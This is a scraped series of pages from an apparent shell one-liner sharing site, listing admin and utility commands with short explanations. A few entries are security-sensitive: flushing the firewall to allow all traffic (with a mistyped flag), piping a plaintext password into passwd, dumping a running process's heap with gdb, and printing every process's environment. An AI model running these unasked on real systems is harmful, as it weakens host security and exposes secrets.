{echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:-=}/g"} function for .bash_aliases that prints a line of the character of your choice in the color of your choice across the terminal. pacman -Ql gvim archlinux: shows list of files installed by a package Shows the files which the package, for example gvim, installed on your system. getent passwd $(whoami) | echo "$(perl -ne '/^([^:]+):[^:]+:[^:]+:[^:]+:([^ ]+) ?([^,]+)?,([^,]*),([^,]*),([^:,]*),?([^:,]*)/ and printf "MECARD:N:$3,$2;ADR:$5;TEL:$4;TEL:$6;EMAIL:$1@"')$HOSTNAME;;" | qrencode -o myqr.png Functions: echo getent passwd If your contact information was entered when your user account was created (it gets added to /etc/passwd) then this gets that info and creates a QR code for you automatically echo $(cat /usr/share/dict/words |grep -v "'"|shuf -n4) speculation crazies sox heftier restfuller geneticists overdo Georgina chaises masseur procurer grab Generate an XKCD #936 style 4 word passphrase (fast) w/o apostrophes Fast and excludes words with apostrophes. For ubuntu, you can use wamerican or wbritish dictionaries, installable through aptitude. Lists all users in alphabetical order ‹ First < 244 245 246 247 248 > Last › dos2unix dostxt unixtxt converts non-ISO dos text files for use on unix systems. echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n ") yOCvVO RBTb Substitution cipher This is just for fun. for f in * ; do mv "$f" $( echo $f | tr ' ' '-' ) ; done A640 French painting seventeenth century front view.jpg becomes A640-French-painting-seventeenth-century-front-view.jpg Functions: echo mv tr Article mentions what each part of the command is responsible for. http://raymondcrandall.com/post/1360780719/easily-renaming-lots-of-files pacman -Qo /etc/yaourtrc yaourtrc is owned by yaourt 0.9.5.3-1 archlinux: shows which package created a given file Shows the "parent" package of a given file. cat file.csv | perl -pe 'if($. == 1) {@h = split(/;/); $i = 1 ; map { $_ = $i; $i++ } @h; print join(" ;", @h) , "\n"} ; s/(^|;);/$1 ;/g' | column -ts\; | less -S cat file.csv column_a;column_b;column_c a;b;c ;b;c a;b; cat file.csv | perl -pe 'if($. == 1) {@h = split(/;/); $i = 1 ; map { $_ = $i; $i++ } @h; print join(" ;", @h) , "\n"} ; s/(^|;);/$1 ;/g' | column -ts\; 1 2 3 column_a column_b column_c a b c a b Functions: cat column less perl format txt as table not joining empty columns adding header with column numbers This version now adds a header with consecutive numbering. find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T - package most recent files in project create tar.bz2 package from files "-type f" modificated today "-mtime -1" in ~/project svcadm disable gdm Functions: disable On Solaris 10 you used dtconfig -d to achieve this. The command will disable X and your system will now boot to a text console. rec -c 2 -r 44100 -s -t wav - | oggenc - | tee streamdump.ogg | oggfwd giss.tv 8000 password /mountpoint.ogg Sample Rate : 44100 Precision : 16-bit Sample Encoding: 16-bit Signed Integer PCM In:0.00% 00:00:00.09 [00:00:00.00] Out:0 [ | ] Clip:0 Opening with wav module: WAV file reader Encoding standard input to In:0.00% 00:00:00.56 [00:00:00.00] Out:20.5k [ | ] Clip:0 oggfwd: Connected to server send incoming audio to a Icecast server (giss.tv) easy way to setup an "internet radio sation", pre-requisite, create an account at an icecast server, in this example, just created beforehand an account at giss.tv. Change the word password, with the respective real password you created at server. Make sure to have installed rec, oggnec, oggfwd and tee. I have a mixer connected at line in, so I can mix music and microphone. This also will produce a local recorded copy of the session, it will be called "streamdump.ogg" center(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;}; ls --color=none / | center center(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;}; $ls --color=none / | center session_mm_apache2handler0.sem Center text in console with simple pipe like Center the output text in max line length of buffered output pipe; pacman -Qdt archlinux: shows list of packages that are no longer needed Shows a list of packages which are no longer needed as dependencies of any package installed on your system. sox is_that_correct.wav -t raw -r 8000 -s -w -c 1 is_that_correct.sln Convert a .wav file to .sln file wdiff -n -w $'\033[30;41m' -x $'\033[0m' -y $'\033[30;42m' -z $'\033[0m' oldversion.txt newversion.txt Colored word-by-word diff of two files Requires wdiff. Prints the word-by-word diff with the old version highlighted in red, and the new in green. Change the colors by altering 41m and 42m. 45m is more of a magenta and may be easier to read. ln -s "`find /path -type f -iname $(ls -t /path | head -1 )`" /path/latest Symlink most recent file to 'latest' using full paths. iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT This turns your iptables packet filter to a "Allow any from any to any" filter, so you can rule out any filtering issues when you have a problem to enable a connection from or to your host. To re-enable it, run /etc/init.d/iptables restart for i in /sys/class/net/*; do e=`basename $i`; echo "# $e"; sudo ethtool $e | grep -E "Link|Speed" ; done # eth0 # eth1 # lo # pan0 # tap1 Get a summary of network devices in the system Basically an improvement on an earlier ethtool command line. for s in `seq -f %02.0f 5 15`; do echo $s; done 05 06 07 09 for loop with leading zeros Uses 'seq' with formatting parameter to generate the necessary padded sequence. Change '%02.0f' to how many digits you need (for 3, use %03.0f, etc) and replace 5 & 15 with your desired min and max. grep -oP '"url":"\K[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q) Extract all urls from the last firefox sessionstore.js file used. Require "grep -P" ( pcre ). If you don't have grep -P, use that : grep -Eo '"url":"[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q) | cut -d'"' -f4 rp() { local p; eval p=":\$$1:"; export $1=${p//:$2:/:}; }; ap() { rp "$1" "$2"; eval export $1=\$$1$2; }; pp() { rp "$1" "$2"; eval export $1=$2:\$$1; } pbrannan@random:~> foo="abc:def:ghi" pbrannan@random:~> echo $foo abc:def:ghi pbrannan@random:~> ap foo bar :abc:def:ghi::bar pbrannan@random:~> pp foo xyz xyz:::abc:def:ghi::bar: pbrannan@random:~> rp foo xyz :::abc:def:ghi::bar:: Functions: eval export path manipulation in bash I used to do a lot of path manipulation to set up my development environment (PATH, LD_LIBRARY_PATH, etc), and one part of my environment wasn't always aware of what the rest of the environment needed in the path. Thus resetting the entire PATH variable wasn't an option; modifying it made sense. The original version of the functions used sed, which turned out to be really slow when called many times from my bashrc, and it could take up to 10 seconds to login. Switching to parameter substitution sped things up significantly. The commands here don't clean up the path when they are done (so e.g. the path gets cluttered with colons). But the code is easy to read for a one-liner. The full function looks like this: remove_path() { eval PATHVAL=":\$$1:" PATHVAL=${PATHVAL//:$2:/:} # remove $2 from $PATHVAL PATHVAL=${PATHVAL//::/:} # remove any double colons left over PATHVAL=${PATHVAL#:} # remove colons from the beginning of $PATHVAL PATHVAL=${PATHVAL%:} # remove colons from the end of $PATHVAL export $1="$PATHVAL" } append_path() { remove_path "$1" "$2" eval PATHVAL="\$$1" export $1="${PATHVAL}:$2" } prepend_path() { remove_path "$1" "$2" eval PATHVAL="\$$1" export $1="$2:${PATHVAL}" } I tried using regexes to make this into a cleaner one-liner, but remove_path ended up being cryptic and not working as well: rp() { eval "[[ ::\$$1:: =~ ^:+($2:)?((.*):$2:)?(.*):+$ ]]"; export $1=${BASH_REMATCH[3]}:${BASH_REMATCH[4]}; }; sleep 4; xwd > /tmp/_.xwd ; gimp /tmp/_.xwd Instant editing screenshot with Gimp Thank You, hackerb9! unzip -l file.jar sudo pacman -Sc archlinux: clears package cache of uninstalled packages Clears the package cache of all uninstalled packages. Does not remove package configuration files in user's home directory. xargs -P 3 -n 1 < Multi-thread any command find . -type f -name '*.wav' -print0 |xargs -0 -P 3 -n 1 flac -V8 will encode all .wav files into FLAC in parallel. Explanation of xargs flags: -P [max-procs]: Max number of invocations to run at once. Set to 0 to run all at once [potentially dangerous re: excessive RAM usage]. -n [max-args]: Max number of arguments from the list to send to each invocation. -0: Stdin is a null-terminated list. I use xargs to build parallel-processing frameworks into my scripts like the one here: http://pastebin.com/1GvcifYa svn status|grep -iR '^!'|sed 's/!/ /g'|xargs -i svn rm '{}' Functions: grep rm sed xargs Mark manually deleted files as deleted in svn Helps if you accidentally deleted files from an svn repo with plain rm and you would like to mark them for svn to delete too. find . -type f -name '*.sh' -print | cpio -o | gzip >sh.cpio.gz Functions: cpio find gzip CPIO better than TAR Archive all .sh files in a directory into a gzip archive. jstat -gc [jvmpid] JVM Garbage Collector Stats ‹ First < 245 246 247 248 249 > Last › rename 's/.*/[it]$&/' *.pdf Adds characters at the beginning of the name of a file for img in $( ls *.CR2 ); do convert $img $img.jpg; done Convert Raw pictures to jpg printf "%02u " {3..20}; echo 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 emulates bash4's "echo {03..20}" Uses bash3 builtin function printf find -type f -regex ".*\.\(js\|php\|inc\|htm[l]?\|css\)$" -exec grep -il 'searchstring' '{}' + Recursively search a directory tree for all .php .inc .html .htm .css .js files for a certain string dos2unix sudo pacman -Scc archlinux: clear the package cache of all packages Clears the package cache of all packages, installed and uninstalled packages. Do NOT USE if you might want to downgrade a package later. echo -e "new_password\nnew_password" | (passwd --stdin $USER) Functions: echo passwd Changes a User Password via command line without promt Used to change a password via a winscp faux shell cd ~/ruby/project_a ; find . -name "*profile*" -exec pax -rw {} ~/ruby/project_b/ \; Functions: cd find pax Copy files from one tree to another (say, project to project) while preserving their directory structure. Let's say you have a set of files in tree A that you want duplicated to tree B while preserving their directory structure / hierarchy. (For example, you might want to copy your 'profile' model/views/controller from one Rails application to another.) The "pax" command will copy all matching files to the destination while creating any necessary directories. xmlstarlet sel -t -v "/path/to/element" file.xml Prints the value of a XML node rather than the entire node. gst-launch-0.10 v4l2src ! ffmpegcolorspace ! warptv ! ffmpegcolorspace ! autovideosink warped and shagadelic webcam view with gstreamer in place of warptv use shagadelictv, edgetv, agingtv, dicetv, vertigotv, revtv or quarktv (see 'gst-inspect-0.10 effectv'. Requires gstreamer-plugins-good (or gstreamer0.10-plugins-good ). For slow webcams use something like gst-launch-0.10 v4l2src ! video/x-raw-yuv,width=320,height=240 ! ffmpegcolorspace ! warptv ! ffmpegcolorspace ! autovideosink For basic webcam view via gstreamer use gst-launch-0.10 v4l2src ! autovideosink addman () { export MANPATH=`find $1 -xdev -type d -name man -printf %p:`${MANPATH}; } $ man -w scrub No manual entry for scrub $ addman /usr/local/scrub /usr/local/scrub/man/man1/scrub.1 Functions: export man Load "missing" man pages for your stuff. Prepends paths containing man directories to your MANPATH variable for the given top level directory. If you build or install software with non-standard documentation locations, you can just add them to your MANPATH with this little function. -xdev prevents crossing filesystem boundaries when searching for man dirs. sudo pacman -Rns packagename archlinux: remove a package completely from the system. Removes the package, 'packagename' in the example ,from your system. '-R' is the actual removal option, 'n' is for removing backup configuration files saved by pacman, and 's' is for removing the dependencies of the given package which are not required by other packages. pacman does not remove configuration files, etc. created by the package. fping -r1 -Aag / 2>/dev/null | sort -gt. -k4 fping -r1 -Aag 192.168.nnn.0/24 2>/dev/null | sort -gt. -k4 192.168.nnn.110 192.168.nnn.220 192.168.nnn.231 192.168.nnn.241 To know the IP address of the machine current running on the network Prevents the need for the grep & awk statements. Sort is optional if you don't care about the output order. The network range can also be specified as in the original post. -A Display targets by address rather than DNS name. (Probably unnecessary...) -a Show systems that are alive. S fping -r1 -ag 192.168.nnn.0/24 2>/dev/null Without sorting... sudo ufw allow proto tcp from 1.2.3.4 to any port 80 Allows incoming traffic from specific IP address to port 80 getconf ARG_MAX Get max number of arguments Get max number of arguments that can be accepted by the exec() system call. find /path/to/dir/ -type f -exec rm {} + cp_p() { if [ `echo "$2" | grep ".*\/$"` ]; then pv "$1" > "$2""$1"; else pv "$1" > "$2"/"$1"; fi; } cp_p bigfile.iso /tmp 249MB 0:00:25 [9,88MB/s] [=====================================================>] 100% # note its as fast as cp is, but I have crappy pc so dont look at my speed rate :) # if u want copy file under other name u have to change code a little function for copy files with progress bar (using pv - pipe viewer) dont have to type new file name (it copy file under same name) and dont have to use '/' in the end of destination folder (but you can if u want, its idiot proof) grep -l foo $(grep -l error *.log) find files ending in *.log that contain both 'foo' and 'error' while $i;do `notify-send -t 200 "You are awesome :)"`;sleep 60; done; Get Informed by your box that you are awesome ;) sends notification msg within repeated intervals of time to notify-send ;) Just for fun. ps axu | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}' count processes with status pacman -Qi $(pacman -Qq)|grep 'Name\|Size'| cut -d: -f2 | paste - - | column -t | sort -nk2 Functions: column cut grep paste sort defaults write com.apple.dock persistent-apps -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock Add spacer to left side of Dock Insert an additional (moveable) spacer on the left side of the Dock in Mac OS X uptime | awk -F ',' ' {print $1} ' | awk ' {print $3} ' | awk -F ':' ' {hrs=$1; min=$2; print hrs*60 + min} ' Functions: awk uptime hexdec() { bc <<< "obase=10; ibase=16; $1"; } Convert from hexa to decimal free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2 Functions: cut free grep sed free swap ‹ First < 246 247 248 249 250 > Last › for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done ~/askapache/bin ~/askapache/sbin /etc /usr/bin/mh /usr/libexec /etc/X11 /etc/X11/xinit ~/askapache/ruby/bin /usr/local/dh/apache/template/bin /usr/local/dh/apache2/template/bin /usr/local/dh/apache2/template/build /usr/local/dh/apache2/template/sbin /usr/local/dh/bin /usr/local/dh/java/bin /usr/local/dh/java/jre/bin /usr/local/php5/bin Show only existing executable dirs in PATH using only builtin bash commands Finds executable and existing directories in your path that can be useful if migrating a profile script to another system. This is faster and smaller than any other method due to using only bash builtin commands. + http://www.commandlinefu.com/commands/view/743/list-all-execs-in-path-usefull-for-grepping-the-resulting-list + http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html for file in `ls *.png`; do convert -trim $file $file; done qstat | awk '$6 ~ "STRING" {cmd="qdel " $1; system(cmd); close(cmd)}' Functions: awk qstat delete PBS jobs based on strings from qstat output find . -type f -name *.[ch] -exec wc -l {} \; How many lines in your c project? ps -fu userid | awk '/userid/{print $2}' | xargs kill to be executed from root. this works well on most commercial unix systems, have not tried on linux systems. defaults write com.apple.dock persistent-others -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock Add spacer to right side of Dock Insert an additional (moveable) spacer on the right side of the Dock in Mac OS X curl http://my-ip.cc/host.txt ipv4: 188.165.241.33 hostname: ns390090.ovh.net city: Roubaix country: FRANCE (FR) latitude: 50.7 longitude: 3.1667 Additionally it may give your geolocation if it's known by hostip.info lame -m j -V 4 -q 0 --lowpass 17 -b 128 --cbr "infile" "128/outfile" Convert a mp3 file to CBR 128 kbps high quality This converts a mp3 file "infile" to a CBR 128 kbps high quality (according to Winamp) mp3 "128/outfile", joint-stereo, using LAME. lam -f 1.4 myfile setg # ht # ma manp # sa # Th samp # re read Laminate files line by line Lam is a command available on Bsd (I've tested it on OpenBSD).Is useful for laminate a file line by line. The -f option set the field width ( -f min.max ). pax -r -s ',^/,,' -f file.tar $ tar tvf test.tar drwxr-xr-x u4x6691/unixadm 0 2009-06-26 15:39 /tmp/test/ -rw-r--r-- u4x6691/unixadm 0 2009-06-26 15:39 /tmp/test/a -rw-r--r-- u4x6691/unixadm 0 2009-06-26 15:39 /tmp/test/b -rw-r--r-- u4x6691/unixadm 0 2009-06-26 15:39 /tmp/test/c $ pax -r -s ',^/,,' -f ./test.tar $ ls -l tmp/ drwxr-xr-x 2 u4x6691 unixadm 4096 Jun 26 15:39 test $ ls -l tmp/test/ -rw-r--r-- 1 u4x6691 unixadm 0 Jun 26 15:39 a -rw-r--r-- 1 u4x6691 unixadm 0 Jun 26 15:39 b -rw-r--r-- 1 u4x6691 unixadm 0 Jun 26 15:39 c Functions: pax Untar file with absolute pathname to relative location man perlcheat | col -b > perlcheat.txt Functions: col man seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{} - ; nslookup 164.85.216.{} |grep name"|tr -s ' ' ' '|awk '{print $1" - "$5}'|sed 's/.$//' 164.85.216.1 - station1.domain.biz 164.85.216.2 - station2.domain.biz 164.85.216.3 - station3.domain.biz 164.85.216.4 - station4.domain.biz Functions: awk bash sed seq tr xargs Command to resolve name from Ip address, passing only the last field after seq (C Class for example) for file in *.png; do mogrify -trim "$file"; done open -a Finder wget -qO- "http://www.amazon.com/b?ie=UTF8&node=163856011" | grep Daily | sed -e 's/<[^>]*>//g' -e 's/^ *//' -e 's/\&[^;]*;/ /' AmazonMP3 Daily Deals grabs and prints the AmazonMP3 daily album deal mysql -u root -p -e"show processlist;"|awk '{print $3}'|awk -F":" '{print $1}'|sort|uniq -c 4 host03.xyz.com 7 host09.xyz.com 1 localhost 3 host12.xyz.com Functions: awk uniq This command will help you to find how many number of connection are made to given mysql and what are the different hosts connected to it with number of connection they are making. psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; greparg="$2"; fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|^$(ps $psargs | head -1)" ; } den:~ dre$ psg ssh USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND psg (ps grep) function if you don't have pgrep or don't know how to use it My variant on this common function. Some highlights: Allows you to override the default ps args of "aux" Uses bracket trick to omit the grep process itself without having to use a second grep Always prints the correct header row of ps output Limitations: Ugly ps error output if you forget to quote your multi word grep argument for file in *.foo; do gzip "$file"; done It gzip each file in a directory separately fetchmail -p etrn --fetchdomains yourdomain.example.org secondary-server.example.org fetchmail: Queuing for yourdomain.example.org started fetchmail: Polling secondary-server.example.org Functions: fetchmail Start delivery of mail queued on a secondary mail server. This uses fetchmail to issue an etrn command that causes the MTA on the secondary mail server to process the queue for the specified domain. You can also just use telnet or nc to connect to port 25 of the server and then: etrn yourdomain.example.org grep -l foo *cl*.log | xargs grep -lL bar find files that contain foo, but not bar same as grep -lL "foo" $(grep -l bar *cl*.log) defaults write com.apple.terminal FocusFollowsMouse -string YES Terminal window focus on mouseover (mimicking X11 behavior) in Mac OS X In Mac OS X, by default, you have to click the mouse on a Terminal window before you can type in it. You can change this behavior to mimic the X11 behavior of focusing on the window on mouseover. curl http://my-ip.cc/host.json "host": { "ipv4": "188.165.241.33", "hostname": "ns390090.ovh.net", "address": { "city":"Roubaix", "country":"FRANCE (FR)", "geo": { } JSON version. stat --format "%s" mysql -u root -p -N -e"show processlist\G;" | egrep "Host\:" | awk -F: '{ print $2 }' | sort | uniq -c Functions: awk egrep sort uniq clear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release; cat /proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h ;done Functions: clear df free ssh ‹ First < 247 248 249 250 251 > Last › fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g" hdc1 hdc2 hdc5 hdd1 hdd2 hdd5 Functions: awk fdisk grep sed curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536 Watch a TiVo File On Your Computer Watch a TiVo file on your computer. find . -name '*.xml' -type f -print | xargs du -ch nathan@juttenheim:~$ find . -name '*.xml' -type f -print | xargs du -ch 0 ./ma.xml 0 ./derp.xml 482M ./artbeads.xml 482M total get disk usage sum for files of type print sum of disk usage for filetype within current dir and subdirs rm -- -i Specify a file name that starts with hyphen, e.g. "-i" If you just try rm -i, the file name will be interpreted as a command line switch. Many commands let you use a double hyphen '--' to say 'No more switches, the rest are file names'. Incidentally having a file named '-i' in a directory where you use rm * will cause rm to act as if you specified '-i' on the command line. vim -- -v touch -- -t cat -- -c svn log -r{2011-08-01}:HEAD|awk '$14 ~/line/ {print $3}'|sort|uniq -c List svn commits by user for a date range My script lists all users & the number of commits they made in the period, sorted alphabetically. To sort by number of commits, append a '|sort' to the end of the command. The script depends on the output format of svn log - original command didn't work for me because the string 'user' was not appearing in my output rpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg bash /bin/bash bash /bin/sh bash /etc/skel/.bash_logout bash /etc/skel/.bash_profile bash /etc/skel/.bashrc bash /usr/bin/bashbug-32 bash /usr/share/doc/bash-3.1 bash /usr/share/doc/bash-3.1/CHANGES bash /usr/share/doc/bash-3.1/COMPAT bash /usr/share/doc/bash-3.1/FAQ bash /usr/share/doc/bash-3.1/INTRO bash /usr/share/doc/bash-3.1/NEWS Functions: grep rpm xargs search installed files of package, that doesn't remember his name well. On rpm systems rpm, sometimes, is not wildcard friendly. To search files installed from package this could be useful. change PACKAGENAME to any package do you want to search echo "encryptedpassword"|openssl passwd -1 -stdin Generate secure password to userwith chpasswd echo $SSH_CLIENT | cut -f 1 -d ' ' host -i `echo $SSH_CLIENT | cut -f 1 -d \ ` | sed 's/.* domain name pointer \(.*\)\./\1/' to reverse lookup and get the hostname. xmms `python -c "print \"tone://\" + \";\".join([str(22*(2**x)) for x in range(9)])"` Make a pipe organ sound using XMMS and Python You can get XMMS from here if it's not in your repositories: http://www.xmms.org/ S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 " 0x" $2}'|xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|grep \(smirk|head -n1 (...) |\(banghead\)|\(bear\)|\(beer\)|\(blush\)|\(bow\)|\(bricklayers\)|\(brokenheart\)|\(bug\)|\(bye\)|\(cake\)|\(call\)|\(cash\)|\(chuckle\)| (...) Functions: awk cut echo grep head xargs Extract the emoticons regex from a running skype process Skype has an internal regex which depicts the emoticons it supports. However you cannot simply search the binary file for it. This small 181 character line will do just that, provided skype is running. And of course, only works in linux. $(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx user@example.com) > /dev/null & Will email user@example.com when all Rsync processes have finished. This will email user@example.com a message with the body: "rsync done" when there are no processes of rsync running. This can be changed for other uses by changing $(pgrep rsync) to something else, and echo "rsync done" | mailx user@example.com to another command. Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; } (for i in `find . -maxdepth 2 -name .svn | sed 's/.svn$//'`; do echo $i; svn info $i; done ) | egrep '^.\/|^URL' ./www.example.com/ URL: https://svn.example.com/example/trunk ./www2.example.com/ URL: https://svn.example.com/example2/trunk Functions: echo egrep info sed If you have lots of svn working copies in one dir and want to see in which repositories they are stored, this will do the trick. If you have lots of subversion working copies in one directory and want to see in which repositories they are stored, this will do the trick. Can be convenient if you need to move to a new subversion server. echo Good $(i=`date | cut -d: -f1 | cut -d' ' -f4-4` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi) Good evening Good morning Get the hour and greet the user! Make sure you add this to your bashrc, for a pleasant hacking experience! date +%Y%m%d%T -s "`ssh user@server 'date "+%Y%m%d %T"'`" 2011011110:28:12 If you are stuck behind a firewall and want to synchronize time with another server but you do not want to port forward NTP (which uses UDP) then this command is handy. It gets the time from a server and sets the local time. It is not that accurate but I can live with a second or so drift. ipcs -ma | awk '/^m / { if ($9 == 0) { print $2 }}' | xargs -n 1 ipcrm -m Functions: awk ipcrm ipcs xargs Remove all unused shared memory segments for current user It can work for message queue, semaphore set or shared memory just changing the parameter. for f in *.rar;do unrar e ?$f?;done $for f in *.rar; do unrar e "$f"; done UNRAR 3.80 beta 2 freeware Copyright (c) 1993-2008 Alexander Roshal Extracting from file.rar Extracting file.pdf OK All OK Unrar all files in a directory Great for sites like Gigapedia.org that give away great free rar'd books. More similar commands here: http://www.howtogeek.com/howto/ubuntu/unzip-or-unrar-many-files-at-once-in-linux/ while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done Starting Nmap 4.76 ( http://nmap.org ) at 2009-08-14 22:14 CEST Interesting ports on 192.168.0.1: checks if host /service is up on a host that doesn't respond to ping the command for the impatient sysadmin: simply checks every five secs, if a host or a specific service running on it is up. ideal for hosts that are configured not to respond on pings. export PS1="(\@) $PS1" (10:34 AM) [@ ]$ Add the time to BASH prompt Adds the time in 12hr AM/PM format to the beginning of a prompt. Change \@ to \t for 24-hour time or \T for 12hr without AM/PM. To keep the time the next time you open a terminal, edit ~/.bashrc and stick the command at the bottom. tcpdump -w "$(sed 's/-//gi; s/ /_/gi'<<<"-vvv -s0 -ieth1 -c10 icmp").pcap" Make a quick network capture with tcpdump to a file - filename based on tcpdump arguments The tcpdump arguments are just an example. tcpdump -nr capture.file | awk '{print }' | grep -oE '[0-9]{1,}.[0-9]{1,}.[0-9]{1,}.[0-9]{1,}' | sort | uniq -c | sort -n Functions: awk grep sort tcpdump uniq get useful statistics from tcpdump (sort by ip) We can get useful statistics from tcpdump with this simple command. Thanks "Babak Farrokhi" to teaching me this ;) print a file on a single line Example: you have a package.txt you want to install on a system. Instead of this: cat package.txt package1 package2 package3 You want it to cat out on one line so you can print "yum install package1 package2 package3" less file.tar.gz View the list of files and directories in an archive with less. This will print out the files and directories in a gzipped tarball. tail -f FILE | grep --color=always KEYWORD colored tail grep xxxx messages | cut -d ' ' -f 1,2,3 Apr 28 23:11:28 HUI100404 Node restarted with memory dumped successfully. =>Apr 28 23:11:28 Get the date field from syslog for a certain set of events first greps syslog for certain events (grep xxxx messages) then displays the 1st 2nd and 3rd fields (-f 1,2,3) seperated by space(-d ' ') ‹ First < 248 249 250 251 252 > Last › whois -H $(cat ./list_of_domains) | awk 'BEGIN{RS=""}/Registrant/,/Registration Service Provider:/ {print} END{print "----------------\n"}' Functions: awk cat whois List contact infomation for Domain list Nice neat feedback showing contact infomation for as many domains as you wish to feed it. I used a list of domains, each one on a new line as supplied by our registar, as we needed to check they were all upto date and back them up as we are updating them all. while :; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /dir/CA-cert.pem -name "certName" -out /dir/certName.p12 Create a P12 file, using OpenSSL echo "import this" | python Very very cool list of quotations and directives on pythonic programming. I love them and they are sure applicable in C++ too, and for most any programming, really. echo "5 k 3 5 / p" | dc .60000 using bc is for sissies. dc is much better :-D Polish notation will rule the world... Putty -d 8080 [server] Proxy all web traffic via ssh Run this on a windows machine then add your localhost as a socks server for port 8080 within your web browser. Your traffic will now be proxying and sent via your server over ssh. geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)"| sed '/^IP:/!d;s/<[^>][^>]*>//g'; } $ geo printifier.com IP: 67.199.102.91 Location: Ashburn, VIRGINIA, United States (UUNET Technologies, Inc.) A function that takes a domain name as an argument find -name 'foo*' | while read i; do echo "$i"; done /some/directory/foobar /some/directory/foo bar /some/directory/sub dir/foo baz Loop over files found using 'find' (works with filenames that contain spaces) Replace the echo command with whatever commands you want. 'read' reads a line from stdin and places the text in the variable, the stdin of the while loop comes from the find command. Note that with simple commands, an easier way is using the '-exec' option of find. My command is useful if you want to execute multiple commands in the loop. cd /proc&&ps a -opid=|xargs -I+ sh -c '[[ $PPID -ne + ]]&&echo -e "\n[+]"&&tr -s "\000" " "<+/cmdline&&echo&&tr -s "\000\033" "\nE"<+/environ|sort' [32447] /usr/bin/screen -A -D -r -a -S sh-srot -T xterm-256color -O -l AA_P=export PVE="\033[m\033[38;5;2m"$((`sed '2!d;s/[^0-9]*//g' /proc/meminfo`/1024))"\033[38;5;22m/"$((`sed '1!d;s/[^0-9]*//g' /proc/meminfo`/1024))MB"\t\033[m\033[38;5;55m$(< /proc/loadavg)\033[m";echo -en "" CR=E(BE[mE[!pE[?3;4lE[4lE> GROUPNAME=srot G_BROKEN_FILENAMES=1 HISTCONTROL=ignoreboth HISTFILE=/home/askapache/.bk/.history/.bash_history HISTFILESIZE=5000 HISTIGNORE=cls:reset:clear:ls:ll:lll:l:pwd:env:printenv:lsof:updatedb:h2:h1:h3:dir:cd ..:date:exit:aa_screen HISTSIZE=1000 HOME=/home/askapache HOSTNAME=www.askapache.com IFS= INPUTRC=/etc/inputrc LANG=C LESSCHARSET=latin1 LESSOPEN=|/usr/bin/lesspipe.sh %s LOGNAME=askapache N6=/dev/null PAGER=less PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:/usr/kerberos/bin:/usr/libexec PF=%.5m %10M %#15s %#9u:%-9g %#5U:%-5G [%AD | %CD | %TD] [%Y] %p\n PKG_CONFIG_PATH=/usr/lib/pkgconfig:/usr/local/lib/pkgconfig PROMPT_COMMAND=history -a;(($SECONDS % 10==0 ))&&eval "$AA_P";echo -en "$PVE" PS1=\[\e[m\n\e[1;30m\][$$:$PPID \j:\!\[\e[1;30m\]]\[\e[0;36m\] \T \d \[\e[1;30m\][\[\e[1;34m\]\u@\H\[\e[1;30m\]:\[\e[0;37m\]${SSH_TTY/\/dev\/} \[\e[0;32m\]+${SHLVL}\[\e[1;30m\]] \[\e[1;37m\]\w\[\e[0;37m\]\n\$ PVE=\033[m\033[38;5;2m1849\033[38;5;22m/2048MB\t\033[m\033[38;5;55m1.09 1.25 0.90 1/66 15024\033[m PWD=/home/askapache R=E[?12lE[?25hE[27mE[24mE(BE[m SHELL=/bin/bash SHLVL=1 TERM=xterm-256color TMPDIR=/tmp TZ=America/Indiana/Indianapolis USER=askapache _=/usr/bin/screen Functions: cd sh xargs View All Processess Cmdlines and Environments Grabs the cmdline used to execute the process, and the environment that the process is being run under. This is much different than the 'env' command, which only lists the environment for the shell. This is very useful (to me at least) to debug various processes on my server. For example, this lets me see the environment that my apache, mysqld, bind, and other server processes have. Here's a function I use: 